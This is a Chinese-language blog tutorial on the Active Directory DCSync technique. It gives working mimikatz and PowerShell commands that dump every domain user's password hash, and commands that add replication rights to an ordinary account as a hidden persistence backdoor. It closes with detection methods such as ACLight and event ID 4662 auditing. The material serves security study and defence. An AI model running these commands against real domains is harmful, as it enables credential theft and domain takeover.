【域渗透】DCSync

概述:DCSync 介绍及渗透,获取用户 hash,对 Dcsync 的检测及防护

相关文章:

1. DCSync

1.1. DCSync 是什么

DCSync 是一种机制。在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。

1.2. DCSync 渗透的由来

DCSync 是域渗透中经常会用到的技术,其被整合在了 [[…/…/…/C_OpenSource/【mimikatz】|【mimikatz】]] 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。

2015 年 8 月,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。不要尝试在公司的域内执行这种操作,除了权限问题,还有一些比较常见的防护策略,详见后文检测与防护相关。

注意:DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。

在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。

2. 利用 DCSync 获取 Hash

利用条件:

获得以下任一用户的权限:

  • Administrators 组内的用户
  • Domain Admins 组内的用户
  • Enterprise Admins 组内的用户
  • 域控制器的计算机帐户

利用原理:

  • 利用 DRS(Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户凭据

参考资料:

实现代码:

2.1. 使用 mimikatz

导出域内所有用户的 hash:

1
mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit

导出域内 administrator 帐户的 hash:

1
mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

2.2. powershell 实现

https://gist.github.com/monoxgas/9d238accd969550136db

通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 dcsync 功能

导出域内所有用户的 hash:

1
Invoke-DCSync -DumpForest | ft -wrap -autosize

导出域内 administrator 帐户的 hash:

1
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

这里可以扩展的知识点包括: #pass-the-hash #pass-the-key

3. 利用 DCSync 在域内维持权限

参考文章:

利用条件:

获得以下任一用户的权限:

  • Domain Admins 组内的用户
  • Enterprise Admins 组内的用户

利用原理:

向域内的一个普通用户添加如下三条 ACE(Access Control Entries):

  • DS-Replication-Get-Changes(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID: 89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用 DCSync 导出域内所有用户 hash 的权限

实现代码:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270

利用方法:

添加 ACE 的命令如下:

1
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

补充:

删除 ACE 的命令:

1
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose

注:

关于更多 ACL 的内容可参考之前的文章:《渗透技巧——Windows 下的 Access Control List》

使用域用户 test1 调用 DCSync 的方法如下:

3.1. 在域内一台登录了 test1 用户的主机上面,直接使用 mimikatz 的 DCSync 功能

1
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

3.2. 使用 runas 实现登录 test1 用户,再使用 DCSync

(1)弹出 cmd

1
echo 123456789 | runas /noprofile /user:test\test1 cmd

弹出的 cmd 下执行如下命令:

1
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit

(2)不弹框实现

1
echo 123456789 | runas /noprofile /user:test\test1 c:\test\1.bat

1.bat 的内容如下:

1
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:

同类的工具还有 lsrunas、lsrunase 和 CPAU

3.3. 使用 powershell 实现登录 test1 用户,再使用 DCSync

(1)弹出 cmd

1
2
3
4
$uname="test\test1"
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Start-Process -FilePath "cmd.exe" -Credential $cred

弹出的 cmd 下执行如下命令:

1
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit

(2)不弹框实现

1
2
3
4
$uname="test\test1"
$pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
Start-Process -FilePath "c:\test\1.bat" -Credential $cred

1.bat 的内容如下:

1
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt

注:

使用 wmic 在本机实现登录用户 test1 会失败,错误如下:

1
2
ERROR:
Description = User credentials cannot be used for local connections

4. 自动化检测 DCSync 以及 DCSync 后门的方法

4.1. DCSync 后门

具有高权限但不在高权限组的用户被称之为 Shadow Admin,例如 0x03 中的域用户 test1,仅通过查询高权限组的成员无法发现域内的 Shadow Admin

检测原理:

枚举 Active Directory 中所有用户的 ACL,标记出特权帐户

实现代码:

https://github.com/cyberark/ACLight

利用条件:

  • Powershell v3.0
  • 域内普通用户权限

检测方法:

执行项目中的 Execute-ACLight2.bat

生成三个文件:

  • Privileged Accounts - Layers Analysis.txt
  • Privileged Accounts Permissions - Final Report.csv
  • Privileged Accounts Permissions - Irregular Accounts.csv

文件中会显示出所有特权帐户

经测试,ACLight 能够检测出被添加 DCSync 权限的用户 test1

4.2. DCSync 检测

相关文章

  1. 通过 IDS/IPS 检测 RPC/DCE 流量,以及专门针对 IDL_DRSGetNCChanges 接口流量的检测
  2. 通过事件日志进行检测。具体操作可以看文章内容,主要是通过开启审计目录服务访问策略来生成系统事件(事件 ID :4662)。
  3. 使用 SIEM(Security Information and event management, SIEM, 信息安全和事件管理)。

【域渗透】DCSync
https://hodlyounger.github.io/A_内功/A_winsafe/【域渗透】DCSync/
作者
mingming
发布于
2024年9月5日
许可协议